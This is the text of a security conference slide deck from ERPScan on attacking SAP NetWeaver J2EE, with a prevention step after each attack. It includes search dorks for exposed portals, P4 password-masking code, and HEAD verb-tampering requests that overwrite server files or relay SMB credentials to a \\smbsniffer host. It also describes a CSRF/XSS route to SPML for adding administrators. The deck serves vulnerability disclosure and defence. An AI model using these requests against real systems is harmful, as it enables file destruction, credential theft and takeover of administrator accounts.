Invest in security to secure investments

A crushing blow at the heart of SAP’s J2EE Engine.

Alexander Polyakov – CTO ERPScan
• CTO of the ERPScan company
• Head of DSecRG (research subdivision)
• Architect of ERPScan Security Scanner for SAP
• OWASP-EAS project leader
• Business application security expert

Tweet: @sh2kerr

Love circle logo’s )
Innovative company engaged in **ERP security R&D**
Part of Russian group of companies “Digital Security” founded in 2002
Flagship product - **ERPScan Security Scanner for SAP**
**Tools:** Pentesting tool, sapsploit, web.xml scanner
**Consulting Services:** SAP Pentest, SAP Assessment, SAP Code review

Leading SAP AG partner in the field of discovering security vulnerabilities by the number of founded vulnerabilities
Agenda

• Intro
• SAP J2EE Architecture
• Simple attacks
• Round 1
• Round 2
• Round 3 Crushing blow
• Defense
• Conclusion
• Most popular business application
• More than 120,000 customers worldwide
• 74% Forbes 500 companies run SAP
• Automation of business processes like ERP, PLM, CRM, SRM based ABAP.
• Integration, collaboration and management based on J2EE engine:
  – SAP Portal
  – SAP PI
  – SAP XI
  – SAP Mobile Infrastructure
  – SAP Solution Manager

Many SAP systems don’t use ABAP stack so all old tricks will not work
• Administrators and developers focused on ABAP stack
• Pentesters mostly focused on ABAP stack
• Researchers mostly focused on ABAP stack
• GRC consultants focused only on SOD ))

ABAP is becoming more secure but....

Hackers know about it. So they will find easier ways to control your business!
J2EE Platform Architecture
Security

Remote control
Authentication
Data Source
User Management
Encryption
Remote control

- **Visual Admin** – old and powerful administration engine
- **NWA** – Web-based administration of J2EE Engine
- **J2EE Telnet** – can be used to perform some administration tasks

There are also more tools that can be used for remote management but they use either HTTP or P4 or telnet
• **Declarative authentication**: The Web container (J2EE Engine) handles authentication

• **Programmatic authentication**: Components running on the J2EE Engine authenticate directly against the User Management Engine (UME) using the UME API.

Web Dynpro, Portal iViews = programmatic
J2EE Web applications = declarative or programmatic
Declarative authentication

WEB.XML file is stored in WEB-INF directory of application root.
• **Database only data source.** All master data stored in the database of the SAP Web Application Server Java. *Intended for small* environment.

• **LDAP Directory data source.** Can be read-only or writable. This *option is rare* due to our practice.[6]

• **ABAP-based data source.** All users’ data is stored in some SAP NetWeaver ABAP engine. Usually it is done by using communication user SAPJSF_<SID>.

User SAPJSF can have 2 different roles:
SAP_BC_JSF_COMMUNICATION_RO
SAP_BC_JSF_COMMUNICATION
• **UME - User management engine.** Using UME you can manage all user data thought web interface. http://server:port/useradmin

• **Visual Admin.** Using Visual Admin you can manage all user data thought P4 protocol.

• **SPML.** Service Provisioning Markup Language (SPML) - new unified interface for managing UME http://server:port/spml/spmlservice

• Other
## Encryption

<table>
<thead>
<tr>
<th>Service Name</th>
<th>Port Number</th>
<th>Default Value</th>
<th>Range (min-max)</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP</td>
<td>5NN00</td>
<td>50000</td>
<td>50000-59900</td>
</tr>
<tr>
<td>HTTP over SSL</td>
<td>5NN01</td>
<td>50001</td>
<td>50001-59901</td>
</tr>
<tr>
<td>IIOP</td>
<td>5NN07</td>
<td>50007</td>
<td>50007-59907</td>
</tr>
<tr>
<td>IIOP Initial Context</td>
<td>5NN02</td>
<td>50002</td>
<td>50002-59902</td>
</tr>
<tr>
<td>IIOP over SSL</td>
<td>5NN03</td>
<td>50003</td>
<td>50003-59903</td>
</tr>
<tr>
<td>P4</td>
<td>5NN04</td>
<td>50004</td>
<td>50004-59904</td>
</tr>
<tr>
<td>P4 over HTTP</td>
<td>5NN05</td>
<td>50005</td>
<td>50005-59905</td>
</tr>
<tr>
<td>P4 over SSL</td>
<td>5NN06</td>
<td>50006</td>
<td>50006-59906</td>
</tr>
<tr>
<td>Telnet</td>
<td>5NN08</td>
<td>50008</td>
<td>50008-59908</td>
</tr>
<tr>
<td>LogViewer control</td>
<td>5NN09</td>
<td>50009</td>
<td>50009-59909</td>
</tr>
<tr>
<td>JMS</td>
<td>5NN10</td>
<td>50010</td>
<td>50010-59910</td>
</tr>
</tbody>
</table>

By default all encryption on all ports and protocols is disabled.
Prevention:

- Deny access to open ports from users subnet (except 5NN00). Only Administrators must have access.
- Disable unnecessary services
Hacking SAP NetWeaver J2EE
Open ports - for internal attacks
Web applications - for internal and external
Insecure password encryption in P4

- P4 – protocol which is used by Visual Admin
- Data in cleartext
- Password is encrypted

Let's look deeper
Hacking SAP NetWeaver J2EE

ERPScan — invest in security to secure investments
Insecure password encryption in P4

- Encryption (masking), not the hash
- Secret key is static
- Key potentially stored on server
- Length of encrypted password depends on password length
- Value of encrypted symbols depends on previous symbols

Looks like some kind of base64
Insecure password encryption in P4

- /* 87 */ char mask = 43690;
- /* 88 */ char check = 21845;
- /* 89 */ char[] result = new char[data.length + 1];
- /* */
- /* 91 */ for (int i = 0; i < data.length; ++i) {
- /* 92 */ mask = (char)(mask ^ data[i]);
- /* 93 */ result[i] = mask;
- /* */
- }
- /* 95 */ result[data.length] = (char)(mask ^ check);
- /* */
- /* 97 */ return result;
Impress me
Prevention:

- Use SSL for securing all data transmitting between server-server and server-client connections

http://help.sap.com/saphelp_nwpi71/helpdata/de/14/ef2940cbf2195de10000000a1550b0/content.htm
Attacking from the internet
Founding a target

inurl:/irj/portal
inurl:/IciEventService sap
inurl:/IciEventService/IciEventConf
inurl:/wsnavigator/jsp/test.jsp
inurl:/irj/go/km/docs/

Google helps us again )
Information disclose

- Kernel or application release and SP version.
  
  DSECRG-11-023, DSECRG-11-027, DSECRG-00208

- Application logs and traces
  
  DSECRG-00191, DSECRG-00232

- Username
  
  DSECRG-00231

- Internal port scanning, Internal User bruteforce
  
  DSECRG-00197, DSECRG-00175
ERPScan — invest in security to secure investments
Business Communication Broker - System Information

BCB/ICI version: 3.00.64507

SAP J2EE Engine: SAP J2EE Engine/7.00 PatchLevel with 2 cluster elements (1 dispatcher and 1 servers)


1. connection: SAP Contact Center Simulator 3.00.64507
Prevention

- Install SAP notes 1548548, 1545883, 1503856, 948851
- Update the latest SAP notes every month
- Disable unnecessary applications
And much more vulnerabilities more are still patching
Prevention

- Update the latest SAP notes
- Disable unnecessary applications
- Set service property SystemCookiesDataProtection to true.
Application MMR (Meta Model Repository)

- Server OS updates rarely on SAP systems
- You can relay to other node of cluster
- You can relay from DEV to TST (usually have the same password)

You can get shell with administrator rights!

http://server:port/mmr/MMR?filename=\smbsniffer\anyfile
• Update the latest SAP notes (1483888)
• Disable unnecessary applications
• Enable authorization checks where they are necessary
• For developers: limit access only for local system and also by directory and file type
Application MMR (Meta Model Repository)
Patched by limiting access.

Just send this link to admin = CSRF + SmbRelay = CSSR
Or inject with XSS into Portal = XSS + SmbRealy = XSSR

http://server:port/mmr/MMR?filename=\smbsniffer\anyfile
Prevention

- Update the latest sapnotes
- Disable unnecessary applications
- Enable SAP CSRF protection API
**CSRF protection**

- **Standard XSRF Protection.** Framework generates XSRF token, applies either to POST-based or GET-based encoding, and validates the correctness of the subsequent requests.

- **Custom CSRF Protection.** Framework generates and provides an XSRF token to the application through the XSRF Protection API. The only way if you want to protect something different from standard GET/POST requests.

Standard XSRF Protection is recommended
• Need to find a place where CSRF protection is impossible
• There must be a place without session management
• Something like remote API
• Like SOAP API .....
SPML
SPML Architecture

SPML Listener

Requestor (RA) — Provider (PSP)

Web Service Container

User Management Engine (UME)

Batch Processing Bean

SAP Web Application Server Java 7.00 in NetWeaver 04s

SPML Consumer

Request Processor

UMERequests Processor

LDAP/DB

schema.xml

ERPScan — invest in security to secure investments
Using SPML you can do all the things that can be done using Identity management API like:

- Creating objects (except sap roles)
- Modifying objects (users, roles, groups)
- Searching for objects
- Deleting object

But you need to have UME actions UME.Spml_Read_Action and UME.Spml_Write_Action .......... or?
Attacking SPML

- Create html page that will send xmlhttprequest to SPML
- Found XSS in SAP
- Inject into Portal or give a link
- Wait until administrator clicks it
- PROFIT!

*Example of SOAP request is in the whitepaper
• Limit access to SPML only for Administrators or IDM servers subnet
• Assign SPML administration roles only to a small amount of users
• Disable SPML if it is not used
• Update the latest SAP notes about XSS vulnerabilities
Invoker Servlet auth bypass

- Risk was published by SAP in their security recommendations
- Created for rapid calling servlets by their class name
- Possible to call any servlet from application even if it is not declared in WEB.XML
Invoker Servlet auth bypass

```xml
<servlet>
  <servlet-name>CriticalAction</servlet-name>
  <servlet-class>com.sap.admin.Critical.Action</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>CriticalAction</servlet-name>
  <url-pattern>/admin/critical</url-pattern>
</servlet-mapping>

<security-constraint>
  <web-resource-collection>
    <web-resource-name>Restrictedaccess</web-resource-name>
    <url-pattern>/admin/*</url-pattern>
    <http-method>GET</http-method>
  </web-resource-collection>

  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>
```
Call it directly by using /servlet/com.sap.admin.Critical.Action

Some critical can be bypassed by direct calling to invoker servlet (DSECRG-00239,DSECRG-240)
Prevention:

- Update to the latest patch level that corresponds to your support package
- Disable the vulnerable feature by changing the value of the “EnableInvokerServletGlobally” property of the servlet_jsp service on the server nodes to “false”
- If you need to enable invoker servlet for some applications check SAP note 1445998
- For SAP NetWeaver Portal, see SAP Note 1467771
- If you can’t install patches for some reasons you can check all WEB.XML files using ERPSCAN WEB.XML scanner to find insecure configurations and locally enabled invoker servlets and manually secure all web services by adding protection to /*
I Came here with a simple dream........
A dream of owning all SAPs Using one bug
And I found it…….

Verb Tampering
Verb Tampering is a dark horse described by Arshan Dabirsiaghi in 2008 which doesn’t have many known examples until now

- Must use security control that lists HTTP verbs (DONE) by web.xml
- Security control fails to block verbs that are not listed (DONE)
- GET functionality will execute with an HEAD verb (DONE)

SAP NetWeaver J2EE engine has all that features !!!!
What if HEAD?

```xml
<servlet>
    <servlet-name>CriticalAction</servlet-name>
    <servlet-class>com.sap.admin.Critical.Action</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>CriticalAction</servlet-name>
    <url-pattern>/admin/critical</url-pattern>
</servlet-mapping>
<security-constraint>
    <web-resource-collection>
        <web-resource-name>Restrictedaccess</web-resource-name>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>administrator</role-name>
    </auth-constraint>
</security-constraint>
```
But the problem was that I need to find a needle in more than 500 different applications

• Application must miss HEAD check in WEB.XML
• Application must execute HEAD as GET
• Request must do some action that doesn’t need to return result
• Request must do some really critical action
• **Potentially** about 40 applications are vulnerable

**Begin fight!**
Round 1

When I was totally despaired...
Integration Directory application
Can be used to overwrite any OS file with trash values
for example it can be exploited to overwrite profile parameter

HEAD /dir/support/CheckService?cmd_check&fileNameL=DEFAULT1.PFL&
directoryNameL=D:\usr\sap\DM0\SYS\profile HTTP/1.0

It means that attacker can overwrite ANY file of SAP server remotely through the Internet and it is doesn’t depend on version of SAP application or operation system
Round 2
2 - unauthorized smbrelay (VTSR)

- Same vulnerability but other vector
  - Verb Tampering + SmbRelay = VTSR
- Can be used for SMBrelay attack and full access to OS
- Unfortunately only on windows

HEAD /dir/support/CheckService?cmd_check&fileNameL=file&directoryNameL=\\smbsniffer\sniff\ HTTP/1.0

It means that attacker get administrative access to SAP on Windows server on local subnet.
When I was totally embarrassed… tired.
3 – unauthorized group assignment

- Secret interface which connect JAVA and ABAP
- run user management actions
- using SAPPJFS user (SAP_JSF_COMMUNICATION)

- Can be accessed remotely but there’s no documentation
- Many commands were found but almost all require username and password additionally
- Except some :)
3 – unauthorized group assignment

It is possible to add any user to any group

- For example you can add guest user to group Administrators which will lead to total destruction in public Portals.

- Work when ABAP engine is a data store for J2EE and connection using SAP_JSF_COMMUNICATION

- Still patching
I was thinking that this is a win ... until we got a contract for pen testing SAP Portal and found more epic things:

- Vulnerability is working in the real life!
- In Standalone J2EE engine it is possible to do everything with users roles and groups using this application.
- By simply sending 2 requests you can create new user and assign him to group Administrators.
Show me DEMO!!!!!!
A crushing blow
Prevention:

• Install SAP note 1503579
• Scan applications using ERPScan WEB.XML check tool or manually
• Secure WEB.XML by deleting all <http-method>
• Disable application that are not necessary
• SAP have options for protecting from almost all possible attacks
• But the number of problems is huge
• But the systems are very complex
• But administrators don’t care

We tried to help a little bit
- Developed by ERPScan
- Part of the commercial Security Scanner
- Can be downloaded offline for free
- Intended to checking WEB.XML files for different vulnerabilities and missconfigurations
- Will be also published at OWASP-EAS project
• (1) **Information disclose** through error code. Checking for <error-page>
• (2) **Auth bypass** through verb tampering. Checking for <security-constraint>.
• (3) **Intercept critical data** through lack of SSL encryption for data transfer. Checking for <transport-guarantee>
• (4) **Cookie stealing thought lack of SSL** for an authorization. Checking for <session-config>
• (5) **Cookie stealing through XSS**. Checking for Httponly=true
• (6) **Session stealing** when JSESSIONID are not in Cookie. Checking for <tracking-mode>COOKIE</tracking-mode>,
• (7) **Increased CSRF or XSS probability** with big session timeout. Checking for <session-config>
• (8) **Unauthorized actions** by locally enabled invoker servlets. Checking for <param>InvokerServletLocallyEnabled</param>
• (9) **Invoker servlet bypass**. Checking for /* and /servlet/* in <security-constraint>
Look at my TOOL
Conclusion

• For Companies - It is just the beginning )
• For Researchers - Work hard and you will get what you want
• For Pentesters – now you can hack SAP J2EE
• For SAP developers – please read SAP’s recommendations
• For GRC guys – security is not only SOD
• For Administrators - read, patch, configure, read, patch, configure,....or ask professionals )}

erpscan.com  ERPScan — invest in security to secure investments 68
Many of the researched things can't be disclosed now because of good relationship with SAP Security Response Team which I would like to thank for cooperation. However if you want to see new demos and 0-days follow us at @erpscand @sh2kerr and attend feature presentations:

• 6 September Bangalore India at Securitybyte
• 19 September - Brussels Belgium at Brucon
• 25 October - Miami USA at HackerHalted
• TBA

Look at dsecreg.com and erpscand.com for news

Greetz to all erpscand crew who helped: Dmitriy Chastuhin, Dmitriy Evdokimiv, Alexey Sintsov, Alexey Tuyrin, Pavel Kuzmin and also my friend Anton Spirin.
Please Remember to Complete Your Feedback Form